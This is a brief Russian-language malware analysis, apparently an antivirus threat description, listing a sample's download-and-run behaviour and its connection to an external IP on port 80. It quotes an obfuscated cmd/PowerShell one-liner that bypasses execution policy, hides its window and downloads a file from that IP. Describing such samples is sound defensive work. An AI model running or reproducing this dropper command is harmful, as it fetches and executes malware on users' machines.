Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://86.106.131.141/file.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pO^wE^Rs^HelL.E^xE -EXEcu^TI^on^poLI^c^Y BY^pA^ss -^N^O^PR^oF^Il^E -^w^i^N^dOWstyle H^iDD^E^N^ (neW-OB^jEct^ ^SYSTem^.^net.^W^eBCl^i^eNt).DOwNloA^dfI^l^E('http://86.106.131.141/...
Сетевая активность
Подключается к
- '86.##6.131.141':80
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pO^wE^Rs^HelL.E^xE -EXEcu^TI^on^poLI^c^Y BY^pA^ss -^N^O^PR^oF^Il^E -^w^i^N^dOWstyle H^iDD^E^N^ (neW-OB^jEct^ ^SYSTem^.^net.^W^eBCl^i^eNt).DOwNloA^dfI^l^E('http://86.106.131.141/...' (со скрытым окном)
